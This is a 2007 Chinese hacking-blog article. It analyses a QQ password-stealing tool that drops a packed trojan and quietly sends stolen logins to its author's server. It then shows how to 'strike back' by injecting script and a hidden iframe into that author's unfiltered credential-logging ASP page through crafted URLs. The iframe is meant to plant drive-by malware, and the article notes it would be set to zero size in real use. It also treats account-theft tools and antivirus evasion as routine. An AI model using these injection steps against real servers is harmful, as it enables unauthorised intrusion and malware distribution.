QQ盗号软件后门分析与反击 _职场 QQ盗号软件后门分析与反击
2007-10-27 22:03:33
来源:fhod's Blog
作者:fhod 小财
说明:文章已发表于黑客手册07年10期,转载请注明出处!

对明小子QQ密码特工软件的分析 ----小财

今天无聊给一朋友讲解QQ盗取原理,从网上找了一个工具 “明小子QQ密码特工”结果发现这个软件有后门。下面就让我带着大家来分析一下。

首先我们用nod32来查一下有没有毒。图1
 QQ盗号软件后门分析与反击 _网络_02

看到了吧没有病毒。我们把监控打开在运行看看图2
 QQ盗号软件后门分析与反击 _技术_03

看到了吧 NOD32检测到了病毒。为了确认一下。我再用‘木马辅助查找器’的文件监视功能来检测下。

图3
 QQ盗号软件后门分析与反击 _技术_04

新建 C:\Documents and Settings\Administrator\Local Settings\Temp\IXP003.TMP\123.exe

很明显软件本身在运行的同时释放了一个123.exe 而NOD32查杀到的也就是这个文件。

C:\Documents and Settings\Administrator\Local Settings\Temp\IXP003.TMP\

接着我们用peid查下123.exe. 图4
 QQ盗号软件后门分析与反击 _休闲_05

EP段.nsp1经常搞免杀的应该知道这是北斗加的壳,我们再看看区段vmp 图5
 QQ盗号软件后门分析与反击 _休闲_06

这个一看就是用vmprotect做的免杀。至于123.exe是什么木马咱门就不继续分析了。

接下来分析他生成后的文件是不是一样令人担忧。

随便配置一个图6
 QQ盗号软件后门分析与反击 _休闲_07

Ollydbg手工给他脱壳esp定律简单 图7
 QQ盗号软件后门分析与反击 _休闲_08

脱壳成功后我们在用PEID检测下 图8
 QQ盗号软件后门分析与反击 _休闲_09

我们再用c32asm对他进行反汇编,搜索asp图9
 QQ盗号软件后门分析与反击 _休闲_10

看到了什么 .刚才我是默认设置的应该是[url]http://langyeqq.cn/qq/newbacka.asp[/url]" href="http://k.thec.cn/xieming/69q/qq.asp才对。,怎么会是[url]http://langyeqq.cn/qq/newbacka.asp[/url]" target=_blank>[url]http://k.thec.cn/xieming/69q/qq.asp[/url]才对。,怎么会是[url]http://langyeqq.cn/qq/newbacka.asp[/url] 这个呢!我们浏览看看 图10
 QQ盗号软件后门分析与反击 _网络_11

"pzQQ"看到了吧,说明就是他的盗号的,从这些可以确定,这个软件不但运行的时候施放一个木马,而且就连我们配置好的文件也被他留了后门,而作者就坐等着收号了。

后门反击战 作者:fhod[E.S.T VIP]

看到这..想必大家也和我一样非常气愤..难道我们就任由作者下去吗.当然不..现在我们就开始反击.

我们来看看qq.asp的代码
首先来看

strLogFile="Q7.txt"

这个是QQ接受文件..默认的是q7.txt

继续看代码

QQNumber=request("QQNumber")

QQPassWord=request("QQPassWord")

QQclub=request("QQclub")

QQip=request("QQip")

是没经过任何过滤的..这些参数的数据我们完全可以自定义

在往下看

if QQNumber="" or QQPassWord="" then

response.write "pzQQ"

response.end

假如QQNumber和QQPassWord的值为空就返回pzQQ .然后程序结束工作.. 只要这两个值不为空就继续执行下面的代码

StrLogText =StrLogText&QQNumber&"----"&QQPassWord&"----会员:"& QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")

StrLogText=StrLogText&")"

写入q7.txt文件

格式为 QQ号码----QQ密码----会员:----IP:

继续看下面的代码

set f=Server.CreateObject("scripting.filesystemobject") (没有q7.txt这个文件就自动新建)

set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)

ff.writeline(StrLogText) (打开q7.txt并写入数据)

最后response.write "发送成功!" 满足条件提示成功.

所有的代码也就是这些..程序并未做任何过滤..和处理..也就是说..只要满足qq.asp?QQNumber=123&QQPassWord=123 就回返回 "发送成功!"的提示.

[url]http://www.ciker.org/soft/qq.asp?QQNumber=123&QQPassWord=123[/url]

图11
 QQ盗号软件后门分析与反击 _职场_12

这就证明了QQNumber=123&QQPassWord=123这两个我们是可以自己定义的..如果我们写入的不是数字..而且一段脚本代码呢?会不会执行呢..让我们来试下
[url]http://www.ciker.org/soft/qq.asp?QQNumber=123&QQPassWord=[/url]< ... quot;fhod")</script>

图12
 QQ盗号软件后门分析与反击 _休闲_13

插入代码成功...我们来看下

[url]http://www.ciker.org/soft/q7.txt[/url]的源文件又是什么样的..

图13
 QQ盗号软件后门分析与反击 _技术_14

再次证明对提交的数据是无任何限制的...我们完全可以自己发挥想象.插入任何代码都可以...

如果想反挂马的话..我们就可以提交以下数据

[url]http://www.ciker.org/soft/qq.asp?QQNumber=123&QQPassWord=[/url]<iframe%20&# ... 20width=480%20height=480></iframe>

图14
 QQ盗号软件后门分析与反击 _休闲_15

当然我这里把width和height设置为480只是为了方便演示..实际挂马中要改为0

好了..现在我们就可以给作者一个惊喜去了..图15
 QQ盗号软件后门分析与反击 _网络_16